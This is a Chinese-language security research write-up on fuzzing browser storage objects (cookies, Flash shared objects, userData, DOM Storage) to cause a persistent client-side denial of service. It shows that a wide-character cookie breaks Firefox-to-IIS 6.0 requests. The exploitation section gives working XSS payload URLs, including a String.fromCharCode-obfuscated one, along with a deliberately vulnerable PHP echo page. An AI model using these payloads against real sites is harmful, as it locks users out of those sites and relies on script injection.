Fuzz 客户端存储对象，寻找 client ddos

By woyigui
目录：

一、前言

前一段墨西哥同学发现了一个关于 http request header 过长造成的一个 server limit dos，

他那个是对 cookie 写入一个超长的数据造成的。那么，我们可以根据此方法形成新的利用方法，Fuzzer
http 头部进行攻击。只要造成 WEB 服务器返回 40X 错误就行了。比如，向 http 的 GET 头部信息的 URL 值设置
特殊的符号，服务器就会返回错误：

```
GET /settings.aspx%22 HTTP/1.1     //此处
        Host: cn.bing.com
        User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.1.5)
Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.5
        Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: zh-cn,zh;q=0.5
        Accept-Encoding: gzip,deflate
        Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7
        Keep-Alive: 300
        Connection: keep-alive
        Cookie: _HOP=I=1&TS=1260805184;
OVR=flt=0&DomainVertical=omdublin&Cashback=cbtest4&MSCorp=kievfinal
&GeoPerf=0&Release=dsf3
        Cache-Control: max-age=0
```

会引起问题的符号：" < > %

同样情况，任何 http 头部字段都可伪造，进行超长、特殊构造，让服务器返回错误。但是，此类的攻击只是
单次的，不能引起持久性攻击。就不符合我们本文的目的。根据 http 协议看到，用于持久化保存用户状态的
一共有 4 种方式，分别为：
Cookies、
Flash Local shared objects、
userdata、
DOM storage。

因为这几种方法可以持久保存用户的状态，所以在重新打开浏览器的同时，依然可以保持，也就是说假如
我们攻击成功，就可以实现持久性的 ddos 攻击了。

一般情况，我们大多数都是利用 XSS 漏洞进行 ddos 客户端，所以以下方法我们都使用 Javascript 脚本
进行设置各种对象，以实现各类的 ddos 攻击。

二、发现漏洞
我们分别对四种持久性存储对象进行测试，以实现 ddos 攻击。
首先，我们构造一个干净的平台，以防止引起其他错误。

平台：

IIS 6.0
Firefox 3.5.5

1、cookies
前人已经对长度进行测试过了，所以我们就以中文字符来测试。
Javascript 设置 cookie 的方法很简单，那么我们就创建一个空白页面，写入如下内容：

```
<script>document.cookie="我是中国人=我是中国人";</script>
```

然后进行浏览此页面，第一次浏览正常，接着刷新页面，就会返回 Bad Requeset 提示，说明已经被成功 ddos 了。

那么设置中文的 cookie 却引起这样的问题呢？

其实，这是因为由 Javascript 设置为中文，然后由 Firefox 浏览器客户端进行编码，然后发送 http 请求数据到
iis web 服务器的。而在 Firefox 编码的过程中，却将中文的 cookie 给编码成乱码了，也就是宽字符集的问题。

我们可以在保持页面浏览的情况下,通过用以下语句进行查看当前设置的 cookie 值是什么样子的：

javascript:document.write(document.cookie);void(0)

然后页面输出如何畸形字符：

??-????^W=??-????^W\??

那么，是不是所有的中文字符都会引起的呢？当然不是，有些中文字符被 Firefox 编码后却不会引起问题，
而有些中文字符编码会，就会和其他字符进行合并等其他操作引起的。这个可以通过脚本或者其他手工方式
自由测试。

2、Flash Local shared objects
因其 Flash Local shared objects 是信赖于 flash 插件的，而 Flash 只是做为 浏览器的一个组件来实现
功能。所以，我们不管怎么去做写入操作，最后只会造成 Flash 插件有问题，而不会造成 WEB 服务器返回
错误，因为 Flash 操作并不影响客户端与 WEB 服务器进行交互。

在我测试的过程中，写入数据达到限制后，Flash
就阻止写入，无任何提示。

3、userData
UserData 是微软为 IE 专门在系统中开辟的一块存储空间,在 IE 7 以下版本支持，每页的 UserData 存储区数据
大小可以达到 64 Kb，每个域名可以达到 640 Kb。

所以首先我们对单个页面设置长度，超过所负载的长度是什么情况，如下面的代码：

```
<HTML>
<HEAD>
<STYLE>
.userData {behavior:url(#default#userdata);}
</STYLE>

        <SCRIPT>
function fnSaveInput(){
                var oPersist=oPersistForm.oPersistInput;
                var metastr = "A"; // 1 A
```

```
                var str = "";
                while (str.length < 1024*64){
                        str += metastr;
                }
                oPersist.setAttribute("sPersist",str); //将 oPersist.value 存储为
sPersist 属性
                oPersist.save("oXMLBranch");
        }

function fnLoadInput(){
            var oPersist=oPersistForm.oPersistInput;
            oPersist.load("oXMLBranch");   //载入在名为 oXMLBranch 的
UserData 存储区
            oPersist.value=oPersist.getAttribute("sPersist"); //将 sPersist 属性
赋值给 oPersist.value
        }
        </SCRIPT>
        </HEAD>
        <BODY>

                <FORM ID="oPersistForm">
                        <INPUT CLASS="userData" TYPE="text"
ID="oPersistInput">
                        <INPUT TYPE="button" VALUE="Load"
onclick="fnLoadInput()">
                        <INPUT TYPE="button" VALUE="Save"
onclick="fnSaveInput()">
                </FORM>
        </BODY>
        </HTML>
```

我们 save 我们的数据以后，IE 6 就会报出：“磁盘已满”的错误提示，也就是我们无法写入大于等于 64 K
的数据，当超过这个数据限制以后，IE 就不允许再写入数据了，出错提示也是 save 方法处。那么针对整个
域名的长度限制的测试我们就不需要了，因为我们是利用 XSS 攻击进行设置，也就是我们针对的单个页面进行
攻击。所以 userdata 存储对象我们是无法进行攻击利用了。

另外一点要说的是，因为 userdata 只支持 IE7 以下版本，同时我们目标是让其实现 ddos 攻击，就算 userdata
数据进行溢出了，也不一定可以造成服务器返回 40x 错误，因为相对 WEB 服务器来说，他并不和 userdata 进行交互。

4、DOM Storage
DOM 存储对象允许设置最大值限制为 5M，所以我可以用如下的代码进行测试：

```
<script>
window.onload = function (){
        var metastr = "A";
        var str = "";
        while (str.length < 1024*1024*5 ){    //这里设置 5M，
实际大小为：5242880
                str += metastr;
        }
    if (window.globalStorage){

window.globalStorage.namedItem("www.a.com").setItem("test", str);
    }else{
                window.localStorage.setItem("test", str);
        }

    if (window.globalStorage){
                document.getElementById("s").innerHTML
+= window.globalStorage.namedItem("www.a.com").getItem("test");
    }else{
                document.getElementById("s").innerHTML
+= window.localStorage.getItem("test");
        }
}
</script>
<div id="s">
</div>
```

当我们设置一个超长的大于 5M 的数据进去的话，Firefox 错误控制台会提示如下错误：

错误：
uncaught exception: [Exception... "Persistent storage maximum size reached" code: "1014" nsresult: "0x805303f6 (NS_ERROR_DOM_QUOTA_REACHED)" location: "http://www.a.com/dom.html Line: 16"]。

长度没有问题，我们通可以用一些特殊字符进行写入，比如将刚才的 A 改成一些乱码的字符，重新写入，
但是页面还是可以正常读取，所以这个就测试失败了。

经过我们前面对 4 种存储对象的不同测试，只测试到 cookie 存储对象存在漏洞，其他都未成功，所以下面
我们只针对 cookie 引起的漏洞进行讨论。

三、漏洞利用

一般情况下，通过以上发现的漏洞，我们可以利用 XSS 脚本跨站漏洞进行实现客户端 ddos
攻击。比如如下简单存在漏洞的代码：

```
XSS.php
<?PHP
   echo $_GET["xss"] ;
?>
```

我们就可以这样的去构造：

http://127.0.0.1/test.php?xss=<script>document.cookie="我是中国人=我是中国人";void(0)</script>

如果 magic_quotes_gpc = On 开启的，就要如下转义一下：

http://127.0.0.1/test.php?xss=<script>eval(String.fromCharCode(100,111,99,117,109,101,
110,116,46,99,111,111,107,105,101,61,34,25105,29233,22855,34382,61,25105,29233,22855,34382,34));
void(0)</script>

虽然此 URL 比较长一些，但是相对前一段那个写入超长 cookie 的 ddos 方式有很大的优点，就是：它只需要写入
一个可以引起问题的 中文 字符即可，比如一个最短的代码：

```
document.cookie="我"
```

这样一个只包含 19 个字符的代码，就可以实现 ddos 攻击了。：）

四、环境影响

在我们测试之前，为了更快的进入主题，我是直接选取的直接可以触发漏洞的环境：

Firefox + IIS 6.0 .

当然，想成功攻击，必须受环境影响：

1、Firefox 任意版本
漏洞的主要原因是因为 Firefox 对宽字符 cookie 的不支持引起的，当用户设置宽字符的中文后，Firefox
没有正确的编码，然后发送给 WEB 服务器的。

2、IIS 6.0
也正是因为 Firefox 没有对 cookie 正确编码，造成 接收过来的是一些特殊 cookie。
但是 iis 正好也没有正确处理，直接抛出 40x 错误了。

五、漏洞原因
也正是因为 Firefox 和 iis 同时有问题的这种极端情况下引发的漏洞。而其他环境中，却不会有这样问题，
比如：IE 浏览器会正常编码 cookie 值、apache 会正确解析特殊 cookie 值等。只要两者有一者没有问题，就不会存在这种漏洞的可能。

六、后记
虽然本文我们只发现了 4 种存储对象中 cookie 的漏洞，但是我相信，在其他 3 种存储对象中，依然可以
找到新的漏洞。

另外要感谢 RAyH4c ，在很多问题上，都可以给我指点迷津，同时还教会我很多东西。

参考：
1、http://sites.google.com/a/80sec.com/80sec/charset-xss-in-web-application
2、http://hi.baidu.com/aullik5/blog/item/6947261e7eaeaac0a7866913.html
3、http://hi.baidu.com/aullik5/blog/item/60d2b5fc52675a1e09244d77.html
4、http://www.ietf.org/rfc/rfc2616.txt
5、http://www.qgy18.com/lab/flashstorage/